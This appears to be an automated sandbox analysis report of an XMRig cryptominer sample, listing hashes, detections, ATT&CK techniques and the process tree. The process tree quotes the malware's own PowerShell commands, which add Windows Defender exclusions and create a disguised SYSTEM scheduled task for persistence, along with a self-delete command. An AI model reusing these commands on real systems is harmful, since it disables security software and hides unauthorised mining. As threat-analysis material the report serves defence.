xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
452s
max time network
1787s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2376 created 1076	2376	3JynzWc6LxNCT2y8.exe	13
PID 2376 created 1076	2376	3JynzWc6LxNCT2y8.exe	13
PID 2376 created 1076	2376	3JynzWc6LxNCT2y8.exe	13
PID 2376 created 1076	2376	3JynzWc6LxNCT2y8.exe	13
PID 2652 created 1076	2652	updater.exe	13
PID 2652 created 1076	2652	updater.exe	13
PID 2652 created 1076	2652	updater.exe	13
PID 2652 created 1076	2652	updater.exe	13
PID 320 created 1076	320	conhost.exe	13
PID 2652 created 1076	2652	updater.exe	13

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral1/memory/2060-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2060-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2620	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2652	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1752	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2060-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2060-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2652 set thread context of 320	2652	updater.exe	53
PID 2652 set thread context of 2060	2652	updater.exe	48

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	3JynzWc6LxNCT2y8.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2488	schtasks.exe
1592	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2420	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0733671af4fda01	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2376	3JynzWc6LxNCT2y8.exe
2376	3JynzWc6LxNCT2y8.exe
2692	powershell.exe
2376	3JynzWc6LxNCT2y8.exe
2376	3JynzWc6LxNCT2y8.exe
2852	powershell.exe
2376	3JynzWc6LxNCT2y8.exe
2376	3JynzWc6LxNCT2y8.exe
2376	3JynzWc6LxNCT2y8.exe
2376	3JynzWc6LxNCT2y8.exe
2584	powershell.exe
2652	updater.exe
2652	updater.exe
1548	powershell.exe
2652	updater.exe
2652	updater.exe
1668	powershell.exe
2652	updater.exe
2652	updater.exe
2652	updater.exe
2652	updater.exe
320	conhost.exe
320	conhost.exe
2652	updater.exe
2652	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	2652	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2420	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2420	WMIC.exe
Token: SeSecurityPrivilege	2420	WMIC.exe
Token: SeTakeOwnershipPrivilege	2420	WMIC.exe
Token: SeLoadDriverPrivilege	2420	WMIC.exe
Token: SeSystemtimePrivilege	2420	WMIC.exe
Token: SeBackupPrivilege	2420	WMIC.exe
Token: SeRestorePrivilege	2420	WMIC.exe
Token: SeShutdownPrivilege	2420	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2420	WMIC.exe
Token: SeUndockPrivilege	2420	WMIC.exe
Token: SeManageVolumePrivilege	2420	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2420	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2420	WMIC.exe
Token: SeSecurityPrivilege	2420	WMIC.exe
Token: SeTakeOwnershipPrivilege	2420	WMIC.exe
Token: SeLoadDriverPrivilege	2420	WMIC.exe
Token: SeSystemtimePrivilege	2420	WMIC.exe
Token: SeBackupPrivilege	2420	WMIC.exe
Token: SeRestorePrivilege	2420	WMIC.exe
Token: SeShutdownPrivilege	2420	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2420	WMIC.exe
Token: SeUndockPrivilege	2420	WMIC.exe
Token: SeManageVolumePrivilege	2420	WMIC.exe
Token: SeLockMemoryPrivilege	2060	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2852 wrote to memory of 2488	2852	powershell.exe	32
PID 2852 wrote to memory of 2488	2852	powershell.exe	32
PID 2852 wrote to memory of 2488	2852	powershell.exe	32
PID 2620 wrote to memory of 2980	2620	cmd.exe	33
PID 2620 wrote to memory of 2980	2620	cmd.exe	33
PID 2620 wrote to memory of 2980	2620	cmd.exe	33
PID 2584 wrote to memory of 356	2584	powershell.exe	35
PID 2584 wrote to memory of 356	2584	powershell.exe	35
PID 2584 wrote to memory of 356	2584	powershell.exe	35
PID 1752 wrote to memory of 2652	1752	taskeng.exe	37
PID 1752 wrote to memory of 2652	1752	taskeng.exe	37
PID 1752 wrote to memory of 2652	1752	taskeng.exe	37
PID 1668 wrote to memory of 1592	1668	powershell.exe	45
PID 1668 wrote to memory of 1592	1668	powershell.exe	45
PID 1668 wrote to memory of 1592	1668	powershell.exe	45
PID 2652 wrote to memory of 320	2652	updater.exe	53
PID 1680 wrote to memory of 2420	1680	cmd.exe	46
PID 1680 wrote to memory of 2420	1680	cmd.exe	46
PID 1680 wrote to memory of 2420	1680	cmd.exe	46
PID 2652 wrote to memory of 2060	2652	updater.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1076
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2488
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1592
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2060
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1680
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:332
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:320

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2980

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:356

C:\Windows\system32\taskeng.exe
taskeng.exe {1E0B1FA0-5F90-49A9-AC75-6C68F2D51C51} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2652

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 96KB
SHA256 8c378f6fb94a37909b43e596396fbe56a7b4b48d64470806556f6652b6d63d89
MD5 d7a64c0309812eab8b398b13ac93486a
SHA1 6d4dfddddc97b5e58aa8b44e7b2acaf289ded25a
SHA512 47f0fe27beebbf59081bbbe23fa43febae86b6f701e20d4a3cb89dc959777067925228318133facd69bb9af6b04474af89df8d3ff4f5fc32109ef7f14a24a4a9
SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FFbMVbEP3XpZlTAt1n/78qUlI1f:L3zjTv46w/ZUFO5TbwWpUt1D9f
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 474KB
SHA256 2538970096dff8c675787c3da708a3a6dc9f65b47ed294d7f4e9b86855e52206
MD5 280dbf5e0c1f44e54f2b6f87d98cf660
SHA1 3c1b4797e0e2c7a465c4cce5137fb1886d904ab3
SHA512 52b207362d887c9a7a82106a587a9e0d78e98f450a4deadb1e30f86708982a6d2c9e8e07abd75e81614512c74c2115a66ab49ad08293757297487d579efd2135
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZV8:rWVipGdVZjdqVC5jd88FC38
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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C3GLVAU3MC74I3YCNRDI.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\C3GLVAU3MC74I3YCNRDI.temp
Size 7KB
SHA256 2655b7c294207ada28b11b4c2e0fb5d98082f82c8cdcce5b99183956b5b10efc
MD5 fa189d5f150943388e2f67106d7b51f3
SHA1 6706469c0e3929bb112eda0deeb161241cf433d3
SHA512 2dc203eb55aee1316fac14986a60572aae85f8d542a784166b4f826f13a1cf45a681579112fbfc34a02a5158bb7a85365f7f27997a168c82da41688a8543a7e5
SSDEEP 96:gBX2C1M8CnqvsqvJCwo8BX2C1M8CnqvsEHyqvJCworl5xjQHoa7qQXlUVP:Q7GUok7GAHnorljla7qQg
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 81KB
SHA256 af442b86866f4ce2fe7fb0fdf40c7c99349a3f5b09a5c17fe61543162eaf6da1
MD5 31450388ab210c8e0006a3428365fcdb
SHA1 a4df4606cf0b6bedcc1a7cb80f6e6d9f0ae59a75
SHA512 cbce0aca3f2dbdc448de7cd41bb9e833a2893c86676dbda1678eaf23fc00a28dccd9c8ff0b575fc7ae7f1cefc47fa8a0bd016bf55ce8e09f5315283a21a59171
SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FFbMVbEP3XpZlTAt1n/3:L3zjTv46w/ZUFO5TbwWpUt1P
MD5 SHA1 SHA512 SSDEEP

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memory/320-70-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/320-76-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1548-45-0x000007FEF4DB0000-0x000007FEF574D000-memory.dmp

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memory/1548-48-0x00000000014C0000-0x0000000001540000-memory.dmp

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memory/1548-46-0x00000000014C0000-0x0000000001540000-memory.dmp

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memory/1548-50-0x00000000014CB000-0x0000000001532000-memory.dmp

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memory/1548-51-0x000007FEF4DB0000-0x000007FEF574D000-memory.dmp

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memory/1548-49-0x00000000014C4000-0x00000000014C7000-memory.dmp

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memory/1548-47-0x000007FEF4DB0000-0x000007FEF574D000-memory.dmp

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memory/1668-56-0x0000000001390000-0x0000000001410000-memory.dmp

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memory/1668-53-0x0000000001390000-0x0000000001410000-memory.dmp

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memory/1668-52-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

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memory/1668-57-0x0000000001390000-0x0000000001410000-memory.dmp

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memory/1668-58-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

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memory/1668-55-0x0000000001390000-0x0000000001410000-memory.dmp

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memory/1668-54-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

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memory/2060-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-119-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-117-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-115-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-113-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-111-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-109-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-107-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-105-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-103-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-67-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-66-0x00000000003D0000-0x00000000003F0000-memory.dmp

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memory/2060-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-69-0x0000000001000000-0x0000000001020000-memory.dmp

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memory/2060-68-0x0000000000410000-0x0000000000430000-memory.dmp

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memory/2060-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2060-74-0x0000000000410000-0x0000000000430000-memory.dmp

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memory/2060-75-0x0000000001000000-0x0000000001020000-memory.dmp

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memory/2376-0-0x000000013FFB0000-0x00000001401C1000-memory.dmp

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memory/2376-28-0x000000013FFB0000-0x00000001401C1000-memory.dmp

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memory/2584-37-0x0000000002930000-0x00000000029B0000-memory.dmp

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memory/2584-39-0x0000000002930000-0x00000000029B0000-memory.dmp

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memory/2584-38-0x0000000002930000-0x00000000029B0000-memory.dmp

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memory/2584-40-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

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memory/2584-35-0x0000000002930000-0x00000000029B0000-memory.dmp

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memory/2584-34-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

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memory/2584-36-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

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memory/2652-44-0x000000013F5A0000-0x000000013F7B1000-memory.dmp

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memory/2652-65-0x000000013F5A0000-0x000000013F7B1000-memory.dmp

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memory/2692-9-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

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memory/2692-12-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

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memory/2692-6-0x0000000002280000-0x0000000002288000-memory.dmp

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memory/2692-7-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

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memory/2692-8-0x0000000002290000-0x0000000002310000-memory.dmp

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memory/2692-11-0x0000000002290000-0x0000000002310000-memory.dmp

